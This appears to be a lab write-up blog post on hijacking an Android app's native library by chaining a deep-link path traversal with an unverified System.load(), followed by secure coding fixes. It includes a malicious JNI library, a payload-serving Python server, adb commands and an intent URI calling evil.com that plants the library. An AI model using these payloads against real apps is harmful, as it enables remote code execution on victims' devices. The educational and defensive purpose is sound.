June 29, 2026
It’s a Trap: Defeating Android Native Library Hijacking
A breakdown of how unsanitized URI parsing enables high-privilege remote code execution.

By M. Habib
5 min read
In the Android ecosystem, some apps load native libraries (.so files) dynamically at runtime to enable additional features such as premium functionality, plugin systems, or performance-critical modules. While this pattern is common and legitimate, it introduces a serious attack surface when the library is loaded from a writable, predictable path without integrity verification.
What is Native Library Hijacking?
Native library hijacking occurs when an attacker replaces or plants a malicious shared object (.so) file in a location where an app expects to load a legitimate library. When the app calls System.load() on the tampered file, the attacker's code executes with the app's full privileges, achieving Remote Code Execution (RCE).
This becomes especially dangerous when combined with other vulnerabilities, such as path traversal in file download handlers. An attacker who can write arbitrary files to the app's internal storage can plant a malicious library that will be loaded on the next app launch without any user interaction beyond clicking a link.
The Unsafe Loading Pattern
Some Android apps implement a "pro features" pattern where additional functionality is loaded at runtime from a native library stored in the app's internal directory. If this library path is predictable and writable, and the app does not verify the file's integrity before loading, it becomes a prime target for hijacking.
Sample Case
The app's MainActivity is exported and handles VIEW intents for PDF files via deep links:
<activity android:exported="true"
android:name="com.mobilehackinglab.documentviewer.MainActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
</activity><activity android:exported="true"
android:name="com.mobilehackinglab.documentviewer.MainActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:mimeType="application/pdf"/>
</intent-filter>
</activity>Any app or browser can trigger this activity with a crafted URI, and the app will attempt to download and save the file.
The Vulnerable Native Library Load
private final void loadProLibrary() {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(),
"native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
}private final void loadProLibrary() {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(),
"native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
}The app loads a native library from a predictable, writable path: <filesDir>/native-libraries/<abi>/libdocviewer_pro.so. There is no signature check, no hash verification; whatever file exists at that path will be loaded and executed. This is the hijack target.
The Path Traversal Enabler
public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
URL url = new URL(uri.toString());
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(DOWNLOADS_DIRECTORY, lastPathSegment);
// ... downloads url contents to outFile
}public final MutableLiveData<Uri> copyFileFromUri(Uri uri) {
URL url = new URL(uri.toString());
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(DOWNLOADS_DIRECTORY, lastPathSegment);
// ... downloads url contents to outFile
}The copyFileFromUri method uses Uri.getLastPathSegment() directly as the output filename. This is dangerous because getLastPathSegment() decodes percent-encoding, meaning %2F becomes /, enabling path traversal out of the Downloads directory and into the app's internal storage where the native library resides.
The Attack Chain
The vulnerability chains two weaknesses:
- Path Traversal —
Uri.getLastPathSegment()decodes%2Fto /, allowing directory traversal from the Downloads folder into the app's internal storage - Unsafe Native Library Loading —
System.load()loads from a predictable writable path without integrity verification
Combined, an attacker can plant a malicious native library via a crafted deep link, achieving Remote Code Execution on the next app launch.
Sample Attack
Step 1: Create the Malicious Library
#include <jni.h>
#include <stdio.h>
#include <unistd.h>
#include <android/log.h>
#define TAG "PWNED"
JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) {
__android_log_print(ANDROID_LOG_ERROR, TAG,
"=== RCE ACHIEVED - libdocviewer_pro.so loaded ===");
__android_log_print(ANDROID_LOG_ERROR, TAG,
"UID: %d, PID: %d", getuid(), getpid());
FILE *f = fopen("/data/data/com.mobilehackinglab.documentviewer"
"/files/pwned.txt", "w");
if (f) {
fprintf(f, "RCE achieved via path traversal\n");
fprintf(f, "UID: %d, PID: %d\n", getuid(), getpid());
fclose(f);
}
return JNI_VERSION_1_6;
}#include <jni.h>
#include <stdio.h>
#include <unistd.h>
#include <android/log.h>
#define TAG "PWNED"
JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) {
__android_log_print(ANDROID_LOG_ERROR, TAG,
"=== RCE ACHIEVED - libdocviewer_pro.so loaded ===");
__android_log_print(ANDROID_LOG_ERROR, TAG,
"UID: %d, PID: %d", getuid(), getpid());
FILE *f = fopen("/data/data/com.mobilehackinglab.documentviewer"
"/files/pwned.txt", "w");
if (f) {
fprintf(f, "RCE achieved via path traversal\n");
fprintf(f, "UID: %d, PID: %d\n", getuid(), getpid());
fclose(f);
}
return JNI_VERSION_1_6;
}The purpose of the code above is to create a native library that generates a /files/pwned.txt file in the /data/data/com.mobilehackinglab.documentviewer directory.
Compile for arm64-v8a:
$NDK/aarch64-linux-android33-clang -shared -o libdocviewer_pro.so pwned.c -llog$NDK/aarch64-linux-android33-clang -shared -o libdocviewer_pro.so pwned.c -llogStep 2: Start the Exploit Server
A custom server is needed because standard HTTP servers decode %2F in the URL path and return 404. This server ignores the requested path and always serves the payload:
#!/usr/bin/env python3
import http.server, os
SO_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),
"libdocviewer_pro.so")
class ExploitHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with open(SO_FILE, "rb") as f:
payload = f.read()
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
if __name__ == "__main__":
server = http.server.HTTPServer(("0.0.0.0", 8888), ExploitHandler)
print(f"Exploit server on :8888")
server.serve_forever()#!/usr/bin/env python3
import http.server, os
SO_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),
"libdocviewer_pro.so")
class ExploitHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with open(SO_FILE, "rb") as f:
payload = f.read()
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload)
if __name__ == "__main__":
server = http.server.HTTPServer(("0.0.0.0", 8888), ExploitHandler)
print(f"Exploit server on :8888")
server.serve_forever()Step 3: Trigger the Deep Link
HOST_IP="192.168.1.5"
adb shell am start -a android.intent.action.VIEW \
-t "application/pdf" \
-d "http://${HOST_IP}:8888/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so" \
com.mobilehackinglab.documentviewerHOST_IP="192.168.1.5"
adb shell am start -a android.intent.action.VIEW \
-t "application/pdf" \
-d "http://${HOST_IP}:8888/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so" \
com.mobilehackinglab.documentviewerWhat happens internally:
- Android routes the intent to
MainActivity(matches VIEW + application/pdf) handleIntent()passes the URI toCopyUtil.copyFileFromUri()uri.getLastPathSegment()decodes the percent-encoded path →../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.sonew File("/storage/emulated/0/Download", decodedSegment)resolves ../ at the OS level, traversing into the app's internal storage- The coroutine downloads from our server and writes the malicious .so to the target path
Step 4: Trigger Code Execution
Force-stop the app and relaunch it. The planted library will be loaded by System.load():
adb shell am force-stop com.mobilehackinglab.documentviewer
adb logcat -c
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity
sleep 3
adb logcat -d | grep "PWNED"adb shell am force-stop com.mobilehackinglab.documentviewer
adb logcat -c
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity
sleep 3
adb logcat -d | grep "PWNED"
Step 5: Verify Proof of Exploitation
Open the /files/pwned.txt file that was created by the native library earlier.
adb shell "run-as com.mobilehackinglab.documentviewer \
cat /data/data/com.mobilehackinglab.documentviewer/files/pwned.txt"adb shell "run-as com.mobilehackinglab.documentviewer \
cat /data/data/com.mobilehackinglab.documentviewer/files/pwned.txt"
Real-World Attack Scenario
In a real-world scenario (without ADB), an attacker would:
- Host the malicious .so on a public server with the custom handler
- Craft an intent URI and embed it in a webpage or phishing message:
intent://evil.com/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so#Intent;scheme=https;type=application/pdf;package=com.mobilehackinglab.documentviewer;endintent://evil.com/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so#Intent;scheme=https;type=application/pdf;package=com.mobilehackinglab.documentviewer;end-
Victim clicks the link in their browser, the app opens, and downloads the .so
-
Next time the victim opens Document Viewer normally, the attacker's code executes
No root, Frida, or physical access required. A single click plants the payload; a normal app launch triggers it.
Secure Patterns
The following code examples demonstrate how to prevent each component of this attack chain.
Safe Filename Extraction
Never use Uri.getLastPathSegment() directly as a filename. Strip directory separators and reject traversal sequences:
private String sanitizeFilename(Uri uri) {
String segment = uri.getLastPathSegment();
if (segment == null) return "download.pdf";
// Strip any path separators (both encoded and decoded)
String filename = segment.replace("/", "")
.replace("\\", "")
.replace("..", "");
// Additional safety: take only the last component
int lastSep = filename.lastIndexOf(File.separatorChar);
if (lastSep >= 0) {
filename = filename.substring(lastSep + 1);
}
return filename.isEmpty() ? "download.pdf" : filename;
}private String sanitizeFilename(Uri uri) {
String segment = uri.getLastPathSegment();
if (segment == null) return "download.pdf";
// Strip any path separators (both encoded and decoded)
String filename = segment.replace("/", "")
.replace("\\", "")
.replace("..", "");
// Additional safety: take only the last component
int lastSep = filename.lastIndexOf(File.separatorChar);
if (lastSep >= 0) {
filename = filename.substring(lastSep + 1);
}
return filename.isEmpty() ? "download.pdf" : filename;
}Canonical Path Validation
Before writing any file, verify the resolved path stays within the intended directory:
private File safeResolve(File baseDir, String filename) throws IOException {
File target = new File(baseDir, filename);
String canonicalBase = baseDir.getCanonicalPath();
String canonicalTarget = target.getCanonicalPath();
if (!canonicalTarget.startsWith(canonicalBase + File.separator)) {
throw new SecurityException(
"Path traversal detected: " + filename);
}
return target;
}private File safeResolve(File baseDir, String filename) throws IOException {
File target = new File(baseDir, filename);
String canonicalBase = baseDir.getCanonicalPath();
String canonicalTarget = target.getCanonicalPath();
if (!canonicalTarget.startsWith(canonicalBase + File.separator)) {
throw new SecurityException(
"Path traversal detected: " + filename);
}
return target;
}Integrity Verification Before Loading
If native libraries must be loaded from writable storage, verify their integrity first:
private void loadVerifiedLibrary(File libraryFile, String expectedSha256) {
if (!libraryFile.exists()) {
Log.w(TAG, "Pro library not found, skipping");
return;
}
String actualHash = sha256(libraryFile);
if (!actualHash.equals(expectedSha256)) {
libraryFile.delete();
throw new SecurityException(
"Library integrity check failed — file deleted");
}
System.load(libraryFile.getAbsolutePath());
}
private String sha256(File file) {
try (InputStream is = new FileInputStream(file)) {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
byte[] buffer = new byte[8192];
int read;
while ((read = is.read(buffer)) != -1) {
digest.update(buffer, 0, read);
}
byte[] hash = digest.digest();
StringBuilder hex = new StringBuilder();
for (byte b : hash) {
hex.append(String.format("%02x", b));
}
return hex.toString();
} catch (Exception e) {
return "";
}
}private void loadVerifiedLibrary(File libraryFile, String expectedSha256) {
if (!libraryFile.exists()) {
Log.w(TAG, "Pro library not found, skipping");
return;
}
String actualHash = sha256(libraryFile);
if (!actualHash.equals(expectedSha256)) {
libraryFile.delete();
throw new SecurityException(
"Library integrity check failed — file deleted");
}
System.load(libraryFile.getAbsolutePath());
}
private String sha256(File file) {
try (InputStream is = new FileInputStream(file)) {
MessageDigest digest = MessageDigest.getInstance("SHA-256");
byte[] buffer = new byte[8192];
int read;
while ((read = is.read(buffer)) != -1) {
digest.update(buffer, 0, read);
}
byte[] hash = digest.digest();
StringBuilder hex = new StringBuilder();
for (byte b : hash) {
hex.append(String.format("%02x", b));
}
return hex.toString();
} catch (Exception e) {
return "";
}
}Preferred: Ship Libraries in the APK
The safest approach is to avoid writable paths entirely. Native libraries shipped in the APK's lib/ directory are protected by the package manager and verified at install time:
// Safe: loaded from APK's lib/ directory, not writable by the app
static {
System.loadLibrary("docviewer_pro");
}// Safe: loaded from APK's lib/ directory, not writable by the app
static {
System.loadLibrary("docviewer_pro");
}Conclusion
This example demonstrates how combining two seemingly low-severity issues, an unsanitized filename from a deep link handler and a predictable native library load path, results in a critical Remote Code Execution vulnerability. Developers should sanitize all URI-derived filenames, validate canonical paths before writing, verify integrity before loading native code, and prefer shipping libraries within the APK itself.
References:
- Mobile Hacking Lab — Document Viewer
- OWASP Mobile Application Security — Testing Deep Links
- Android Path Traversal
- Mobile Hacking Lab – Hacking Labs